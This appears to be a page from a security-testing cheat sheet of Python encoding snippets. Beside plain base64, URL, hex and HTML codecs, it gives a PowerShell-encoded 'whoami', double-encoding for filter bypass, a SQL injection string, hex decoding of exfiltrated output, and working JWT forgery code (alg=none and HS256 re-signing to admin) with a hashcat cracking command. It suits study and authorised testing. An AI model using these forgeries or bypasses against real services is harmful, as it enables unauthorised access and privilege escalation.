Skip to content
Encodings

Encodings

Base64, URL, hex and HTML codecs, and JWT decode and forge.

Base64 encode / decode (+ UTF-16-LE)

Encode/decode round-trip; urlsafe variant for tokens; utf-16-le for Windows PowerShell.

import base64

enc = base64.b64encode(b"data").decode()           # 'ZGF0YQ=='
dec = base64.b64decode("ZGF0YQ==").decode()         # 'data'
url = base64.urlsafe_b64encode(b"data").decode()    # JWT-style, +/ -> -_
ps  = base64.b64encode("whoami".encode("utf-16-le")).decode()  # PowerShell -e

Find by: base64, encode, decode, b64encode, b64decode, utf-16-le, powershell, urlsafe, bytes, string · Source: PG/Monster

URL encode / double-encode

quote() for path/param safety; double-encode to bypass filters; quote_plus for form values.

from urllib.parse import quote, quote_plus, unquote, urlencode

quote("a b/c?d", safe="")          # 'a%20b%2Fc%3Fd'
quote(quote("../etc", safe=""))    # double-encode -> '..%252Fetc'
quote_plus("a b")                  # 'a+b'
unquote("%2Fetc%2Fpasswd")         # '/etc/passwd'
urlencode({"q": "' or 1=1", "p": 2})

Find by: url encode, urlencode, quote, percent encoding, double encoding, unquote, plus, waf bypass, special chars, escape

Hex & HTML-entity encode / decode

Hex for binary/bytes; html.escape/unescape for entity contexts; unicode-escape for \uXXXX.

bytes.fromhex() and binascii.unhexlify() are equivalent; both turn a hex string back into bytes, and .decode() yields text. This is the receiving end of OOB exfil, where the target hex-encodes command output with xxd -p -c 9999 so binary and newlines survive a URL query parameter. html.escape/unescape cover entity contexts and unicode_escape covers \uXXXX.

# hex
"hello".encode().hex()                 # '68656c6c6f'
bytes.fromhex("68656c6c6f").decode()   # 'hello'
import binascii
binascii.unhexlify("68656c6c6f").decode()   # same; decodes `xxd -p` OOB exfil

# html entities
import html
html.escape("<script>")            # '&lt;script&gt;'
html.unescape("&lt;b&gt;")         # '<b>'

# unicode escapes
"A".encode("unicode_escape")  # b'A' round-tripping

Find by: hex, hexlify, bytes fromhex, binascii, unhexlify, xxd, exfil decode, oob output, html entities, html escape, unescape, ampersand, encode, decode, xss, unicode escape

JWT — decode header & payload (no verify)

Reads claims without the secret; base64url padding must be fixed before decode.

import base64, json

def b64url_decode(seg):
    seg += "=" * (-len(seg) % 4)
    return base64.urlsafe_b64decode(seg)

def jwt_decode(token):
    h, p, sig = token.split(".")
    return json.loads(b64url_decode(h)), json.loads(b64url_decode(p))

header, payload = jwt_decode(TOKEN)
print(header, payload)

Find by: jwt, json web token, decode, header, payload, claims, base64url, inspect, alg, none, gap, bearer

JWT — forge (alg=none & HS256 resign)

alg=none drops the signature when the server trusts the header; if the HMAC secret leaks or cracks, claims are re-signed as admin.

Two server-side bugs make forging possible. If the verifier honors the token’s own alg header, setting alg:none and dropping the signature is accepted as valid. If it uses HS256 with a weak or leaked secret, arbitrary claims can be re-signed (the secret is cracked offline with hashcat mode 16500 first). Either path allows minting a token with role:admin. A correct server pins the algorithm server-side and rejects both.

import base64, json, hmac, hashlib

def b64url(b):
    if isinstance(b, str): b = b.encode()
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode()

def forge_none(claims):
    h = b64url(json.dumps({"alg": "none", "typ": "JWT"}))
    p = b64url(json.dumps(claims))
    return f"{h}.{p}."

def forge_hs256(claims, secret):
    h = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
    p = b64url(json.dumps(claims))
    sig = hmac.new(secret.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()
    return f"{h}.{p}.{b64url(sig)}"

print(forge_hs256({"user": "admin", "role": "admin"}, "secret"))
# crack the secret first:  hashcat -m 16500 token.jwt rockyou.txt

Find by: jwt, forge, alg none, hs256, resign, secret, sign, privilege escalation, admin, tamper, weak key, gap, crack